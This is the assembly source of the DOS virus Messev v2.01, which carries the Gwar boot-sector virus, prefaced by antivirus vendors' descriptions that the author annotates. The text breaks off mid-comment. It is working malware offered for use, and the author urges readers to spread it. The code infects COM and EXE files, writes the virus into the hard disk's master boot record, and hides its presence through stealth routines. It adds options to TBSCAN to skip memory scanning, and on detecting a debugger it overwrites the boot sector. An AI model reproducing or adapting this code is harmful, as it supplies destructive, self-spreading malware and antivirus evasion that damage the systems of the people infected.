; *************************************************************************** ; - NOTE - ; ; These are the final versions of my old Messev and Gwar which were supposed ; to be published in 29A#3, instead, older versions were used. Unlike what ; some of you may think, the versions included in this file are completely ; different from the ones in 29A#3, much code was rewritten and alot of ; features were added. Messev + Gwar were my first virii written for public ; release, that explains the weak coding, nevertheless, they ain't exactly ; trivial, and thus, interesting.... ; - T-2000 / [Immortal Riot] - ; *************************************************************************** ; Here are a few fucked-up AV-descriptions of slightly modified versions, ; I added some of my own comments where needed: ; ; --------------------------------------------------------------------------- ; ; DATAFELLOWS: ; ; ; The Messev.3158 is an encrypted resident stealth virus that infects ; COM and DOS EXE files. Besides it acts as a dropper to Gwar boot virus. ; Messev virus is encrypted with a variable key. Number of possible key ; variants is 255. ; ; Messev installs itself to memory using the last MCB block and immediately ; passes control to its body there. First the virus traces Int 13h and Int ; 21h. Then the virus tries to infect harddisk with Gwar boot virus. It ; uses direct calls to Int 13h and Int 21h handlers during this procedure. ; ; To safely infect MBR the virus tries to delete Windows 95 floppy device ; driver HSFLOP.PDR located in \System\IOSubSys folder, but there's an ; error in the virus and this never happens [* Yeah, the filename had a ; typo :( *]. The virus checks for presence of Gwar in memory and if it is ; not present the hard disk in infected - the original MBR is copied to ; 0/0/2 (h/t/s) and the Gwar is copied to 0/0/1 (h/t/s). Because of this ; trick logical hard disks become inaccessible when booting from a system ; diskette. ; ; After dropping the Gwar the virus traps Int 13h and Int 21h. Then it gets ; attributes of C:\COMMAND.COM [* Dumbass, it infects the file pointed by ; the COMSPEC-variable by getting it's attributes. *], and passes control ; to original infected file code. ; ; COM and DOS EXE files are infected by Messev on access. The original 12 ; bytes [* _WORDS_ moron! not bytes! *] from the file start are copied to ; the end of the virus body and then the virus attaches itself to a file. ; Timestamp of infected file is not modified except for seconds value - it ; is set to 60. Some programs that are bigger than 400k and some packed ; programs could become unusable after infection [* Yikes, this was a pretty ; serious bug, at the time being I thought a program's MinMem requirements ; was it's image-size in paragraphs! *]. When infected files are copied to ; floppy disk they appear to be clean. ; ; The virus has the following text strings: ; ; 'This is a pretty lame virus, I only released it' ; 'coz I wanted to infect some ppl.' ; 'Messev - Screwed version.' ; ; 'If I don't pass... f*ck it! SKLSUX!' ; ; [* Y*u c*n k*ss my *ss y*u f*cking l*me c*cks*cking c*ns*r-d*ck! *] ; ; 'My gun will be your angel of mercy!' ; '[ DEMANUFACTURE - FEAR FACTORY ]' ; ; The virus uses anti-debugging tricks. It halts keyboard and if it fails ; performs a trick with stack values and writes garbage to DOS Boot record. ; This could [* _DOES_ :P *] happen if the program is debugged inaccurately. ; ; The stealth procedure of the virus hides all signs of virus presence in ; infected objects. When archivers (ARJ.EXE, PKZIP.EXE, LHA.EXE and RAR.EXE), ; CHKDSK or TBSCAN are executed the virus disables its stealth routines ; [* TBSCAN? How stupid can you morons get?! it adds certain parameters to ; the command-line of TBSCAN to skip the memory-scan and use the DOS file- ; system (so the stealth can do it's job). *] ; ; ; [Analysis: Alexey Podrezov, Szor Peter, Data Fellows] [* Oink oink. *] ; ; --------------------------------------------------------------------------- ; ; AVP: ; ; ; Messev.3158 ; ; It is a very dangerous memory resident virus. It infects DOS COM and EXE ; files as well as drops its boot instance that then infects boot sectors ; only and is not able to infect DOS executable files. The virus is encryp- ; ted in both files and sectors, it is also stealth in both its instances. ; ; When an infected file is executed the virus decryption routine takes ; control, restores the virus in its original form and passes control to ; the virus installation routine. The virus then traces and hooks INT 13h, ; 21h, infects the MBR of the hard drive and command processor pointed by ; the COMSPEC= instruction. ; ; While infecting files the virus writes itself to the end of the file. ; It affects the files that are executed, created, opened, accessed by ; Get/Set file attribute function and ever deleted. The virus disinfects ; infected files under debugger and on writing to such files (stealth). ; The virus also runs stealth routines on accessing file length and ; time & date stamp, [* Not to mention seeks & reads. *]. on executing the ; PKZIP, ARJ, LHA, RAR and CHKDSK utilities the virus disables these ; routines. ; ; When TBSCAN anti-virus is executed, the virus appends to the end of com- ; mand line options that disable TBSCAN memory and heuristic scanning [* ; Pfff! *]. Under debugger the virus erases the hard drive sectors and ; reboots the computer. While infecting the MBR of the hard drive the virus ; erases the file: ; ; C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR ; ; The boot virus instance infects the MBR of the hard drive and boot sector ; of floppy disks as ordinary boot virus. On May 2nd it erases the harddrive ; sectors, displays and outputs to printer the message: ; ; ; Gwar virus v1.3, (c) 1998 by T-2000 / Invaders SKLSUX!Winsuck95 ; ; [* 'SKLSUX!Winsuck95' is never displayed. *] ; ; The virus also contains the text strings: ; ; ; =[ Messev v2.10, (c) 1998 by T-2000 / Invaders ]= ; MeSSeV LiVeS! ; Daddy-K-tit 2 Gallyon van Vessem ; This is a pretty lame virus, I only released it coz ; I wanted to infect some ppl.Messev - Screwed version ; If I don't pass... fuck it!SKLSUX! ; My gun will be your angel of mercy! ; [ DEMANUFACTURE - FEAR FACTORY ] ; ; --------------------------------------------------------------------------- ; On with the source... ;============================================================================ ; ; NAME: Messev v2.01 ; TYPE: Parasitic resident full-stealth .COM & .EXE-infector. ; TARGETS: .COM & .EXE-files, MBR of 1st harddisk. ; PURPOSE: Designed to drop the Gwar v1.30 bootsector-virus. ; SIZE: Over 3000 bytes. ; AUTHOR: T-2000 / Invaders. ; DATE: March 1998 - May 1998. ; PHASE: Release version. ; RATING: 74% ; PAYLOAD: Nope, (but Gwar has, disk-trashing on 2nd of May). ; ; ; Capabilities: ; ; - Tunneling on INT 13h and INT 21h. ; - Variable encrypting. ; - Full stealth, (SFT-stealth however...). ; - Drops bootsector-virus (Gwar v1.30). ; - Stealths bootsectors/MBRs infected with Gwar. ; - Completely invisible for TBSCAN (adds parameters, uses INTs). ; - Anti-tracer: detects tracers (trashes bootsector). ; - Anti-debugging tricks. ; - Disables stealth on execution archivers (works with PKZIP). ; - Infects COMSPEC-variable. ; ; ; TO-DO-LIST: ; ; - Stealth filereads without SFT's. ; - Diskspace stealth. ; - Sizestealth under Win95 (71h, 4Eh/4Fh). ; ; BUGS: ; - DEBUG crashes on exit after accessing port 21h (IRQ-status). ; ; Dedicated to dis very pretty woman who was on Dutch television, ; named 'Gallyon van Vessem'. ; ; Stealth-marker is 60 seconds. ; Passes sanity-checks in anti-virus programs. ; It traps a shitload of functions. ; Checks if the environment is compatible. ; ; Gwar.Boot stealth-handler: - Stealths infected bootsectors/MBRs. ; - Lets the zero-track seem empty. ; ; ; When I got ready with Gwar, I've decided build it inside a file-infector, ; (nobody boots from a diskette nowadays). At first I thought of a Tai-Pan- ; hack, later I decided to write my own. It turned out to be the most stealth ; virus I ever programmed. ; ; ; I haven't tested this baby to death, but the code should be pretty sound. ; I spended a hell of a lot time coding this one! ; ; Scanner detection: ; ; - TbScan 8.02 : Only the T-flag (invalid timestamp). ; - F-Prot 2.28 : Indicates a possible infection with /ANALYZE. ; - AVP 3.00 : Nothing. ; ; - TbClean 8.02 : Unable to clean. ; ; Some parts may look a bit messy, this is due the optimization & handling ; of both .COM and .EXE-files. It could, however, be optimized a LOT more! ; ; Also sorry if there is some lame english in this source. ; ; My E-Mail: T2000_@HotMail.Com ; ; To whoever who has dis source: U can do with it whatever U want: ; ; - Modify it, (just give me credit) ; - Spread it (please do!) ; - Publish it, ; - Stick it where da sun doesn't shine. ; ; A big 'fuck' goes to Bill Gates and his sloppy Windoze-product, DOS was ; MUCH better then dis WinShit! - Bill, the perfect salesman - ; ;============================================================================ .MODEL TINY .STACK 1024 .CODE ; ==> Please note that the virus-entrypoint is <== ; ==> at the end of this file, look for START: <== Virus_Size EQU OFFSET Virus_End - OFFSET Virus_Begin Virus_Mem_Size EQU ((Virus_Size * 2) / 16) + (128 / 16) Marker_Mem EQU 721Eh Marker_File EQU 1666h Residency_Check EQU 99E1h Bios EQU 13h Dos EQU 21h Virus_Begin: Gwar_Boot: INCLUDE GWAR.ASM ; Bootsector-virus. Entry: CLI ; Detect if a tracer is used. PUSH AX ; - ANTI-TRACER/DEBUGGER - POP AX DEC SP DEC SP POP BX STI CMP AX, BX ; Word correct? JE Not_Traced ; Then continue execution. ; === Our retaliation === Trash_Boot: MOV AX, 0301h ; Trash bootsector. MOV CX, 01h ; (don't hurt our child). MOV DX, 0180h INT 13h INT 19h ; Reboot system. Not_Traced: MOV AX, Residency_Check ; Call residency-check. INT 21h CMP AX, Marker_Mem ; Are we already TSR? JNE Make_Resident Exec_Host: POP SI POP ES POP DS POP DI POP DX POP CX POP BX IN AL, 21h ; Unlock keyboard. AND AL, NOT 02h OUT 21h, AL CMP CS:[SI+Old_Bytes.Mark], 'ZM' ; Host a .EXE-file? JE Exec_EXE Exec_COM: PUSH CS POP DS CLD ; Restore bytes in .COM-file. ADD SI, OFFSET Old_Bytes MOV DI, 100h MOV CX, (24 / 2) REP MOVSW PUSH ES POP DS MOV AX, 100h PUSH ES ; Save return-address PUSH AX ; on stack. XOR AX, AX ; Clear used registers. XOR CX, CX XOR SI, SI XOR DI, DI RETF ; JMP to start .COM-file. Exec_EXE: MOV AX, ES ; PSP-address. ADD AX, 10h ; Plus size PSP. CLI ; Restore old stack. ADD CS:[SI+Old_Bytes.Init_SS], AX MOV SS, CS:[SI+Old_Bytes.Init_SS] MOV SP, CS:[SI+Old_Bytes.Init_SP] STI ADD AX, CS:[SI+Old_Bytes.Init_CS] PUSH AX MOV AX, CS:[SI+Old_Bytes.Init_IP] PUSH AX XOR AX, AX ; Clear AX. RETF ; JMP to host. Make_Resident: MOV AH, 62h ; Get PSP, (screws some INT 21h ; debuggers). DEC BX ; Get our MCB. MOV DS, BX CMP BYTE PTR DS:[0], 'Z' ; We want the last MCB. JNE Exec_Host ; Don't install when not. XCHG SI, AX ; Save SI in AX. POP SI XOR SI, SI ; Set displacement to zero PUSH SI ; on the stack. XCHG SI, AX ; Restore SI from AX. ; === Subtract our memory requirements from MCB & PSP. === SUB WORD PTR DS:[03h], Virus_Mem_Size SUB WORD PTR DS:[12h], Virus_Mem_Size MOV ES, DS:[12h] PUSH CS POP DS CLD ; Copy virus to high-mem. XOR DI, DI MOV CX, Virus_Size REP MOVSB MOV AX, OFFSET Relocated_Code PUSH ES ; JMP to relocated virus. PUSH AX RETF Copyright DB '=[ Messev v2.01, (c) 1998 by T-2000 / Invaders ]=' ;------------------------------------------ ; Statusbits: ; ; 0 Infect mode. ; 1 Filesize stealth mode. ; 2 Read-stealth mode (uses SFT's). ; 3 Zero-track stealth mode. ; 4 Bootsector/MBR stealth mode. ; 5-7 Reserved. ;------------------------------------------ Relocated_Code: PUSH CS POP DS MOV AX, 3000h ; Get DOS-version (OEM). INT 21h MOV AL, 00010011b ; Infect-mode on. ; Sizestealth-mode on. CMP BH, 0FFh ; Micro$oft MS-DOS? JE M$_Compatible CMP BH, 0EEh ; Digital Research DR-DOS? JNE Not_Compatible M$_Compatible: OR AL, 00001100b ; Read-stealth enabled (SFT). ; Zerotrack-stealth enabled. Not_Compatible: MOV Init_Status, AL ; Save initial status. MOV Status, AL ; Set Statusbits. MOV Trace_Mode, Bios ; Find BIOS-entrypoint. CALL Tracer MOV Trace_Mode, Dos ; Find DOS-entrypoint. CALL Tracer ; Stealth-handler for Gwar.Boot. MOV AL, 13h ; Hook INT 13h. MOV BX, OFFSET Stealth_Int13h MOV CX, CS CALL SetInt CALL Gwar_Dropper ; Install our lil' present. NOP ; Leave dis here! MOV AL, 21h ; Hook INT 21h. MOV BX, OFFSET NewInt21h MOV CX, CS CALL SetInt CALL Infect_COMSPEC ; Infect command-interpreter. JMP Exec_Host ;----------------------------------------------------------------- ; See if Gwar is already installed, if not then install. Because ; we use the tunnelled vector, we can read beyond Gwar's stealth. ;----------------------------------------------------------------- Gwar_Dropper: ; Delete port-access driver, so Gwar can infect under ; Winsux95. (Same method as used in Hare virus). MOV AH, 41h ; Delete driver. MOV DX, OFFSET Port_Driver CALL OldInt21h MOV AX, Marker_Mem_Gwar ; Gwar residency-check. INT 13h CMP AX, NOT Marker_Mem_Gwar ; Gwar resident? JE Exit_Installer ; If so, don't install. MOV AH, 0Dh ; Reset harddisk. MOV DX, 80h CALL OldInt13h POP BX ; POP return address to BX. PUSH BX ; PUSH it back. MOV BYTE PTR [BX], 90h ; Remove breakpoint. ; - ANTI-DEBUGGER - MOV AX, 0201h ; Read MBR of 1st harddisk. MOV BX, OFFSET Buffer MOV CX, 01h CALL OldInt13h JC Exit_Installer CMP [BX+Signature], Marker_Boot ; Already infected? JE Exit_Installer ; Then abort drop. MOV AX, 0301h ; Store original MBR. INC CX CALL OldInt13h JC Exit_Installer IN AL, 40h ; Get encryption-key. MOV Key, AL CALL Crypt_Block ; Encrypt Gwar. MOV AX, 0301h ; Write Gwar to MBR. MOV BX, OFFSET Gwar_Boot ; Better use XOR BX, BX. MOV CX, 01h CALL OldInt13h CALL Crypt_Block ; Decrypt Gwar. Exit_Installer: RETN ;-------------------------------------------------------------------------- ; Fetches the path after the COMSPEC-variable, and gets it file-attributes ; by simulating a interrupt via our handler, so Messev will infect it. ;-------------------------------------------------------------------------- Infect_COMSPEC: CALL Push_All CLD ; Save host's original bytes. MOV SI, OFFSET Old_Bytes ; (Bcoz they are overwritten MOV DI, OFFSET Temp_Buffer ; by Messev when it infects MOV CX, (24 / 2) ; the command-interpreter. REP MOVSW MOV AH, 62h ; Get PSP of current process. INT 21h MOV ES, BX MOV ES, ES:[2Ch] ; XOR DI, DI Rep_Loop: CMP BYTE PTR ES:[DI], 0 ; End of settings? JZ Exit_Find ; Then exit routine. MOV AX, ES:[DI] ; Get first word. AND AX, 1101111111011111b ; Convert 2 uppercase. CMP AX, 'OC' ; Starts with 'CO' ? JNE Find_Next_Set ; Next setting when not. MOV AX, ES:[DI+2] ; Get second word. AND AX, 1101111111011111b ; Convert 2 uppercase. CMP AX, 'SM' ; We found COMSPEC= ? JE COMSPEC_Found ; Then infect it. Find_Next_Set: CLD ; Find next setting. XOR AL, AL MOV CX, 0FFFFh REPNZ SCASB OR CX, CX ; Not found? JZ Exit_Find ; Then exit routine. JMP Rep_Loop COMSPEC_Found: PUSH ES POP DS MOV AX, 4300h ; Get file-attributes via MOV DX, DI ; our hooked INT so it ADD DX, 8 ; will be infected. PUSHF ; Simulate interrupt, PUSH CS CALL NewInt21h Exit_Find: PUSH CS POP DS PUSH CS POP ES CLD MOV SI, OFFSET Temp_Buffer MOV DI, OFFSET Old_Bytes MOV CX, (24 / 2) REP MOVSW CALL Pop_All RETN ; <=== S T E A L T H R O U T I N E S ===> Stealth_Int13h: CMP AH, 02h ; Read? JNE JMP_Int13h_2 OR DH, DH ; Zero-head? JNZ JMP_Int13h_2 OR CH, CH ; Zero-track? JNZ JMP_Int13h_2 CMP CX, 01h ; Bootsector? JNE Zero_Stealth CALL OldInt13h ; Execute function. CALL Push_All JC Exit_Stealth_i13h ; Exit if error occurred. TEST CS:Status, 00010000b ; Do bootsector/MBR stealth? JZ Exit_Stealth_i13h ; Exit when not. CMP ES:[BX+Signature], Marker_Boot JNE Exit_Stealth_i13h MOV AX, 0201h ; Read original bootsector. MOV CX, ES:[BX+Stored_TS] MOV DX, ES:[BX+Stored_HD] CALL OldInt13h Exit_Stealth_i13h: CALL Pop_All RETF 2 ; Return to caller. JMP_Int13h_2: JMP DWORD PTR CS:Int13h Zero_Stealth: MOV CS:Temp, AL ; Save # of sectors to read. CALL OldInt13h ; Execute function. CALL Push_All JC Exit_Stealth_i13h ; No stealth if error. CMP DL, 80h ; Only on 1st harddisk. JNE Exit_Stealth_i13h TEST CS:Status, 00001000b ; Do zero-track stealth? JZ Exit_Stealth_i13h ; Exit when not. MOV DL, CS:Temp ; DL = Sector read. MOV DI, BX ; DI = Sector-buffer. Clear_Sector_Buffer: OR DL, DL ; No more sectors read? JZ Exit_Stealth_i13h ; Then abort stealthing. CLD ; Fill buffer with zeroes. XOR AX, AX MOV CX, (512 / 2) REP STOSW DEC DX ; Decrease #sectors 2 stelth. JMP Clear_Sector_Buffer Stealth_Filesize_FCB: CALL OldInt21h ; Execute function. CALL Push_All OR AL, AL ; Error? JNZ Error_FCB ; If yes, then exit. TEST CS:Status, 00000010b ; Can we perform sizestealth? JZ Error_FCB MOV AH, 2Fh ; Get DTA-address. CALL OldInt21h CMP BYTE PTR ES:[BX], 0FFh ; Extended FCB? JNE Normal_FCB ADD BX, 7 ; Skip extended stuff. Normal_FCB: MOV AL, ES:[BX+17h] AND AL, 00011111b ; Infected stamp? CMP AL, 00011110b JNE Error_FCB AND BYTE PTR ES:[BX+17h], 11100000b ; Subtract our size from the filesize in DTA. SUB WORD PTR ES:[BX+1Dh], Virus_Size SBB WORD PTR ES:[BX+1Fh], 0 Error_FCB: CALL Pop_All RETF 2 ; Subtract the virussize from infected files' length & clear seconds. Stealth_Filesize: CALL OldInt21h ; Execute function. CALL Push_All JC No_Filesize_Stealth ; Abort when error. TEST CS:Status, 00000010b JZ No_Filesize_Stealth ; No, then abort. MOV AH, 2Fh ; Get DTA-address. CALL OldInt21h MOV AL, ES:[BX+16h] ; Get seconds-field. AND AL, 00011111b ; Mask seconds. CMP AL, 00011110b ; Equal to 60 seconds? JNE No_Filesize_Stealth ; No stealth when not. AND BYTE PTR ES:[BX+16h], 11100000b ; Clear seconds. SUB WORD PTR ES:[BX+1Ah], Virus_Size SBB WORD PTR ES:[BX+1Ch], 0 No_Filesize_Stealth: CALL Pop_All RETF 2 ; Return 2 caller. ;----------------------------------------------- ; Gets the SFT-Address of the handle in BX, and ; subtracts the virussize from the filelength. ;----------------------------------------------- Sub_SFT_Size: CALL Get_DCB SUB WORD PTR ES:[DI+11h], Virus_Size SBB WORD PTR ES:[DI+13h], 0 RETN ;----------------------------------------------- ; Gets the SFT-Address of the handle in BX, and ; adds the virussize to the filelength. ;----------------------------------------------- Add_SFT_Size: CALL Get_DCB ADD WORD PTR ES:[DI+11h], Virus_Size ADC WORD PTR ES:[DI+13h], 0 RETN ; Prevents readings after virtual file & redirect readings from header. Stealth_File_Read: CALL Push_All MOV CS:Read_Buffer, DS TEST CS:Status, 00000100b ; Can we use SFT-stealth? JZ JMP_No_Stealth MOV CS:Read_Bytes, CX ; Save # of bytes to read. MOV CS:Read_Buffer+2, DX CALL Check_Handle ; Dis is a filehandle? JNZ JMP_No_Stealth ; Abort when it isn't. CALL Check_Stamp ; Infected timestamp? JZ Stealth_Read JMP_No_Stealth: JMP No_Stealth_Read Stealth_Read: CALL Sub_SFT_Size ; Subtract our size from ; the SFTs, also gets the ; SFT-address in ES:DI. MOV AX, ES:[DI+17h] ; Pos. before read hi. MOV CS:File_Pos, AX MOV AX, ES:[DI+15h] ; Pos. before read lo. MOV CS:File_Pos+2, AX CALL Pop_All CALL OldInt21h ; Execute function. CALL Push_All JC Abort_Stealth ; Abort when error. CALL Add_SFT_Size PUSH CS POP DS CMP File_Pos, 0 ; Reading 1st 64k? JNZ Abort_Stealth ; Abort when not. CMP File_Pos+2, 24 ; Reading header? JA Abort_Stealth ; Abort when not. CALL Save_File_Pos CALL Go_End_File SUB AX, 24 ; Location original bytes. SBB DX, 0 ADD AX, File_Pos+2 ; Plus pos in header. ADC DX, 0 MOV ES:[DI+17h], DX ; Pos. old header. MOV ES:[DI+15h], AX ; Pos. old header. MOV AH, 3Fh ; Read original header MOV CX, 24 ; into caller's buffer. SUB CX, File_Pos+2 MOV DX, Read_Buffer+2 MOV DS, Read_Buffer CALL OldInt21h CALL Restore_File_Pos Abort_Stealth: CALL Pop_All RETF 2 ; Return to caller. No_Stealth_Read: CALL Pop_All JMP JMP_Int21h ; Prevents lseeks beyond virtual file. Stealth_Fileseek: CALL Push_All TEST CS:Status, 00000100b ; Readstealth? JZ No_Stealth_lseek CALL Check_Stamp ; Infected stamp? JNZ No_Stealth_Lseek CALL Sub_SFT_Size ; Subtract virussize. CALL Pop_All CALL OldInt21h ; Execute function. CALL Push_All CALL Add_SFT_Size ; Restore filesize in SFT. CALL Pop_All RETF 2 ; And return. No_Stealth_lseek: CALL Pop_All JMP JMP_Int21h ; DS:DX = Filename. Clean_By_File: CALL Push_All MOV AX, 3D02h ; Open file r/w. CALL OldInt21h JC Abort_Clean XCHG BX, AX CALL Clean_Handle ; Clean it. MOV AH, 3Eh ; Close file. CALL OldInt21h Abort_Clean: CALL Pop_All JMP JMP_Int21h ; Removes the virus physically from disk, before a program writes to it. Clean_By_Handle: CALL Clean_Handle JMP JMP_Int21h ; Cleans the handle, (must have read/write access). Clean_Handle: CALL Push_All CALL Hook_i24h PUSH CS POP DS CALL Check_Handle ; Filehandle? JNZ No_Del MOV AX, 5700h ; Get filedate. CALL OldInt21h MOV FileTime, CX ; Save it. MOV FileDate, DX AND CL, 00011111b ; Mask seconds. CMP CL, 00011110b ; 60 seconds ? JNE No_Del CALL Save_File_Pos CALL Go_End_File SUB AX, 24 SBB DX, 0 MOV CX, DX XCHG DX, AX MOV AX, 4200h ; Pos. old header. CALL OldInt21h MOV AH, 3Fh ; Read old header. MOV CX, 24 MOV DX, OFFSET Header CALL OldInt21h CALL Go_End_File SUB AX, Virus_Size ; Subtract our length. SBB DX, 0 MOV CX, DX XCHG DX, AX MOV AX, 4200h ; Go to end virtual file. CALL OldInt21h MOV AH, 40h ; Write marker. XOR CX, CX CALL OldInt21h CALL Go_Begin_File MOV AH, 40h ; Write old header. MOV CX, 24 MOV DX, OFFSET Header CALL OldInt21h MOV AX, 5701h ; Set clean filedate. MOV CX, FileTime MOV DX, FileDate AND CL, 11100000b ; Clear seconds. CALL OldInt21h CALL Restore_File_Pos No_Del: CALL Unhook_i24h CALL Pop_All RETN ;--------------------------------------------- ; Check if timestamp is marked as 'infected'. ; BX = Filehandle. ; ZF set when infected. ;--------------------------------------------- Check_Stamp: PUSH AX PUSH CX PUSH DX MOV AX, 5700h ; Get time & datestamp. CALL OldInt21h AND CL, 00011111b ; Infected? CMP CL, 00011110b ; (Set's flags). POP DX POP CX POP AX RETN ; Hides infected timestamp. Stealth_Time: CALL OldInt21h PUSHF PUSH CX MOV CS:Temp, CL JC No_Stealth_Time TEST CS:Status, 00000010b ; Sizestealth allowed? JZ No_Stealth_Time CALL Check_Stamp JNZ No_Stealth_Time AND CS:Temp, 11100000b ; Zero seconds. No_Stealth_Time: POP CX POPF MOV CL, CS:Temp RETF 2 Save_File_Pos: MOV AX, 4201h ; Get file-position. XOR CX, CX CWD CALL OldInt21h MOV CS:Old_Pos, DX MOV CS:Old_Pos+2, AX RETN Restore_File_Pos: MOV AX, 4200h MOV CX, CS:Old_Pos MOV DX, CS:Old_Pos+2 CALL OldInt21h RETN Go_Begin_File: MOV AX, 4200h XOR CX, CX CWD CALL OldInt21h RETN ;------------------------- ; Goes to end of file. ; ; In: BX = filehandle ; Out: DX:AX = filesize ;------------------------- Go_End_File: PUSH CX MOV AX, 4202h XOR CX, CX CWD CALL OldInt21h POP CX RETN ; These INT 21h functions will be trapped by our virus. If the subfunction ; is 0FFh, it will be treaded like a wildcard. Functions: DW 11FFh ; Findfirst (FCB). DW Stealth_Filesize_FCB DW 12FFh ; Findnext (FCB). DW Stealth_Filesize_FCB DW 4EFFh ; Findfirst (handle). DW Stealth_Filesize DW 4FFFh ; Findnext (handle). DW Stealth_Filesize DW 4B00h ; Execute file. DW Init_Exec DW 4B01h ; Load but not execute. DW Clean_By_File DW 4CFFh ; Program terminate. DW Switch_Stealth_On DW 5700h ; Get filetime. DW Stealth_Time DW 3DFFh ; Open file. DW Check_Infect DW 6CFFh ; Extended open/create. DW Check_Infect DW 43FFh ; Get file-attributes. DW Check_Infect DW 3CFFh ; Create/truncate file. DW Check_Infect DW 3FFFh ; Read file (handle). DW Stealth_File_Read DW 40FFh ; Write to file (handle). DW Clean_By_Handle DW 42FFh ; lseek file. DW Stealth_Fileseek DW 41FFh ; Delete file. DW Check_Infect DW Residency_Check ; Are-You-There call. DW Return_Call DW 0 ; End table. NewInt21h: PUSH SI PUSH BX MOV SI, OFFSET Functions Next_Function: MOV BX, CS:[SI] OR BH, BH ; End of table reached? JZ End_Table_Reached ; Then abort. CMP BH, AH ; Function match? JNE Another CMP BL, 0FFh ; Don't compare subfunction? JE Exec_Function ; Then JMP to routine. CMP BL, AL ; Subfunction right? JE Exec_Function ; Then JMP to routine. Another: ADD SI, 4 ; Next entry. JMP Next_Function ; Repeat loop. End_Table_Reached: POP BX POP SI JMP_Int21h: JMP DWORD PTR CS:Int21h Exec_Function: MOV BX, CS:[SI+2] MOV CS:Ret_Add, BX POP BX POP SI JMP CS:Ret_Add ; JMP to routine. ; === Let the virus know that we are already installed in memory. === Return_Call: MOV AX, Marker_Mem IRET Switch_Stealth_On: PUSH AX MOV AL, CS:Init_Status MOV CS:Status, AL POP AX JMP JMP_Int21h Init_Exec: CALL Push_All ; Should we be inactive during run of program? ; Else causes problems: ; eg. ARJ.EXE timestamp incorrect, ; PKZIP.EXE wrong filesizes, etc. MOV SI, DX MOV DI, OFFSET No_Active MOV CX, (OFFSET End_No_Active - OFFSET No_Active) / 7 CALL Search_Table JNZ No_Disable AND CS:Status, 00000000b No_Disable: MOV DI, OFFSET TBSCAN ; Add parameters to TBSCAN? MOV CX, 1 CALL Search_Table JNZ Not_TbScan MOV DI, ES:[BX+2] MOV ES, ES:[BX+4] MOV AL, ES:[DI] CBW ADD BYTE PTR ES:[DI], 6 ; Length parameters. INC DI ADD DI, AX PUSH CS POP DS CLD MOV SI, OFFSET Parameters MOVSW MOVSW MOVSW MOVSB Not_TbScan: CALL Pop_All ; === INFECTION ROUTINE === Check_Infect: CALL Push_All CALL Hook_i24h ; Dummy error-handler. CMP AH, 6Ch ; Extended open/create? JNE No_Ext_Open ; (used by F-Prot). MOV DX, SI ; DX = SI. No_Ext_Open: TEST CS:Status, 00000001b ; Infect-mode on? JZ JMP_Exit_i21h ; Abort when not. MOV AX, 3D02h ; Open file for r/w. CALL OldInt21h JNC No_Open_Error JMP_Exit_i21h: JMP Exit_Int_21h My_Inspiration DB 'Daddy-K-tit 2 Gallyon van Vessem' No_Open_Error: XCHG BX, AX ; BX = Handle. MOV AX, 4300h ; Get file-attributes. CALL OldInt21h PUSH CX PUSH DS ; Save filename on stack. PUSH DX MOV AX, 4301h ; Clear file-attributes. XOR CX, CX CALL OldInt21h CALL Check_Handle ; Filehandle? JNZ Abort_Check PUSH DS POP ES CLD ; Find end of ASCIIZ-string. XOR AL, AL MOV DI, DX MOV CX, 0FFFFh REPNZ SCASB MOV AX, [DI-3] AND AX, 1101111111011111b ; Convert 2 uppercase. CMP AX, 'MO' ; Has file .COM-extension? JE Legal_Candidate CMP AX, 'EX' ; Has file .EXE-extension? JNE Abort_Check Legal_Candidate: PUSH CS POP DS PUSH CS POP ES MOV AH, 3Fh ; Read header. MOV CX, 24 MOV DX, OFFSET Header CALL OldInt21h JC Abort_Check ; If we can't read. CALL Go_End_File OR DX, DX ; > 64k? JNZ Over_64k CMP AX, 560 ; File too small? JB Abort_Check Over_64k: CMP Header.Checksum, Marker_File ; Already infected? JE Abort_Check XOR BP, BP ; 0 = COM ; 1 = EXE CMP Header.Mark, 'ZM' ; True .EXE-file? JNE Infect_File JMP Init_EXE Abort_Check: JMP Close_File Init_EXE: INC BP ; Set .EXE Infect_File: MOV AX, 5700h ; Get filetime. CALL OldInt21h PUSH CX ; Save timestamp on stack. PUSH DX CLD ; Save MOV SI, OFFSET Header MOV DI, OFFSET Old_Bytes MOV CX, (24 / 2) REP MOVSW OR BP, BP ; .COM-file. JZ Skip_EXE_Stuff CALL EXE_Stuff Skip_EXE_Stuff: IN AL, 40h ; Get random encryption-key. MOV File_Key, AL CLD ; Copy virus to buffer XOR SI, SI ; for encryption. MOV DI, OFFSET Buffer MOV CX, Virus_Size REP MOVSB MOV SI, OFFSET Buffer MOV CX, OFFSET End_Encrypted_File Encrypt_Byte: XOR BYTE PTR [SI], AL ; Encrypt ourself in buffer. INC SI LOOP Encrypt_Byte CALL Go_End_File PUSH AX ; Save length host. MOV AH, 40h ; Append virus to host. MOV CX, Virus_Size MOV DX, OFFSET Buffer CALL OldInt21h MOV Header.Checksum, Marker_File ; Mark as infected. POP AX ; POP length host. OR BP, BP ; .COM-file? JNZ No_JMP ; If not, then make no JMP. ADD AX, (OFFSET START - 3) ; Minus displacement. MOV SI, OFFSET Header MOV BYTE PTR [SI], 0E9h ; JMP opcode. MOV WORD PTR [SI+1], AX ; No_JMP: CALL Go_Begin_File MOV AH, 40h ; Write updated header. MOV CX, 24 MOV DX, OFFSET Header CALL OldInt21h MOV AX, 5701h ; Restore filedate. POP DX POP CX AND CL, 11100000b ; Clear seconds. OR CL, 00011110b ; 60 secs. CALL OldInt21h Close_File: MOV AH, 3Eh ; Close file. CALL OldInt21h POP DX ; ASCIIZ-string. POP DS MOV AX, 4301h ; Restore file-attributes. POP CX CALL OldInt21h Exit_Int_21h: CALL Unhook_i24h CALL Pop_All JMP JMP_Int21h EXE_Stuff: MOV AX, Header.HeaderSize ; Calculate headersize. MOV CX, 16 MUL CX XCHG CX, AX CALL Go_End_File SUB AX, CX ; Minus headersize. SBB DX, 0 MOV CX, 16 ; In paragraphs. DIV CX MOV Header.Init_CS, AX ; Store new CS. MOV Header.Init_IP, OFFSET START ADD Header.Init_IP, DX INC AX ; Anti-heuristic. MOV Header.Init_SS, AX MOV Header.Init_SP, (Virus_Mem_Size * 16) CALL Go_End_File MOV CX, 16 ; Filelength in paragraphs. DIV CX ADD AX, Virus_Mem_Size ; Plus our requirements. MOV Header.MinMem, AX CALL Go_End_File ; Length host, ADD AX, Virus_Size ; Plus our length. ADC DX, 0 MOV CX, 512 ; Calculate # 512 byte-pages. DIV CX OR DX, DX ; No rest? JZ No_Round ; Then no round-off. INC AX ; Round off. No_Round: MOV Header.Byte_Pages, AX MOV Header.MOD512, DX RETN ; === Tunnelled 